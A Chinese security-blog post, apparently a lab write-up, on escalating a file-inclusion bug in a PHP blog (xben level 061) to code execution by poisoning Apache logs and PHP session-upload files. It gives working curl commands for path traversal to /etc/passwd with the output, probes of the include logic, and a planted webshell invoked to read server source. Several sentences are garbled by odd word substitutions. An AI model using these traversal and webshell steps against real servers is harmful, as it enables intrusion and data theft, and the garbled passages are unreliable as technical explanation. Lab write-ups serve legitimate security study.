首页 时政热点 科技头条 智能AI 安全攻防 数码硬件 开发者生态 归档 标签 关于

xben系列靶场-LFI到RCE(文件投毒)

摘要

这里使用的是xben系列061关作为学习的目标 环境拓扑 用户 (攻击者) └── 64.90.0.172:22635 — Apache/2.4.54 (Debian) + PHP/7.4.33 (Encoder64 Blog) ├── GET /index.php?page=N 文章列表(读取 posts.json 分页渲染) ├── GET /post.php?id= ★ LFI 入口:inc...

php post 172 22635 PHP www usr sbin Apache index
2026-12-01 1 阅读 约8分钟阅读 先知社区
分享:
字号:
这里使用的是xben系列061关作为学习的目标环境拓扑用户(攻击者) └── 64.90.0.172:22635 — Apache/2.4.54 (Debian) + PHP/7.4.33 (Encoder64 Blog) ├── GET /index.php?page=N 文章列表(读取 posts.json 分页渲染) ├── GET /post.php?id= ★ LFI 入口:include("posts/" . $_GET['id']) ├── GET /about.php 静态页面 ├── POST /contact.php 联系表单(name/email/message 未转义回显 → 引用型 XSS) │ └── 容器内文件系统 (/var/www/html, 权限 0777,owner www-data) ├── posts/ 6篇文章模板(EternalBlue.php ...) ├── include/ 导航栏/侧边栏 ├── posts.json 文章元数据(post_url → 传给id) ├── /var/log/apache2/access.log ← 日志投毒点(Apache组合,会转义) ├── /tmp/sess_ ← session.upload_progress投毒点(最终采用) └── /FLAG.php ★ 目标标志(注意是 .php 不是 .txt) 第一步:信息 1.1 基础指纹收集 # 首页响应头 curl -s -i http://64.90.0.172:22635/ 结果: HTTP/1.1 200 OK Server: Apache/2.4.54 (Debian) X-Powered-By: PHP/7.4.33内容类型:text/html; charset=UTF-8 ​ Encoder64 Blog → Apache + PHP 7.4.33,expose_php=On泄露版本。极简博客。 1.2路径/参数枚举从首页文章对应的链接发现文章详情走的是文件名参数:curl -s http://64.90.0.172:22635/ | charset=UTF-8 grep -iE "post.php|href" 结果(节选): 阅读更多 → id=EternalBlue.php —— id 直接就是一个文件名,且对应 post.php 动态加载。非常强的「文件包含」原理,属于头号攻击面。各入口重新是:路由作用输入点/index.php?page=N 文章列表分页页面 /post.php?id= 文章详情(动态包含) id (文件名) /about.php 静态页面 — /contact.php 联系表单(POST) name / email / message 1.3 直接一次验证文件读取curl -s 'http://64.90.0.172:22635/post.php?id=../../../../etc/passwd' 结果: root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/usr/sbin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin ... → 目录遍历 + 任意文件读取成立(LFI) 。 第二步:LFI 语义定性与逻辑逆推 能读文件 ≠ 能执行代码。需要先搞清三件事: include 是否执行 PHP? 路径如何安装? 有没有第三方校验? 2.1 疾病 include 执行信号供给一个「只有可执行不同」的输入——应用自己的index.php :curl -s 'http://64.90.0.172:22635/post.php?id=../index.php' 结果:返回的是被渲染的完整首页(欢迎来到Encoder64博客! ),而不是 5326 Post not found # posts/../index.php 5326 Post not find ← key # ../../../../var/log/apache2/access.log 0 EMPTY(parse error) 从差异分析三条结论: 有 posts/ 外围 : ../index.php成功、而 posts/../index.php 失败。因为内部可以 include("posts/".$id) ,夜间会拼成 posts/posts/../index.php → posts/index.php (不存在)。✓ 有 file_exists 前置闸门 : /etc/passwd (绝对)、 file:// 、 php:// 、 data:// 全部“未找到”。 file_exists("posts/".$id) 把wrapper当普通路径stat,恒为 false,根本到不了 include。✓ 两套未找到分支:文件不存在时首行是

Post not find.

(5326);文件存在输出但为空时首行空白(5304)。✓ 2.3 源码获取与验证通过后文获取的命令执行,回读 post.php 源码交叉验证上面所有推断: # 经 webshell 读取curl -s 'http://64.90.0.172:22635/sh061.php?x=cat /var/www/html/post.php' 结果:
这篇文章对您有帮助吗?

订阅66必读

每日精选科技资讯,直达你的邮箱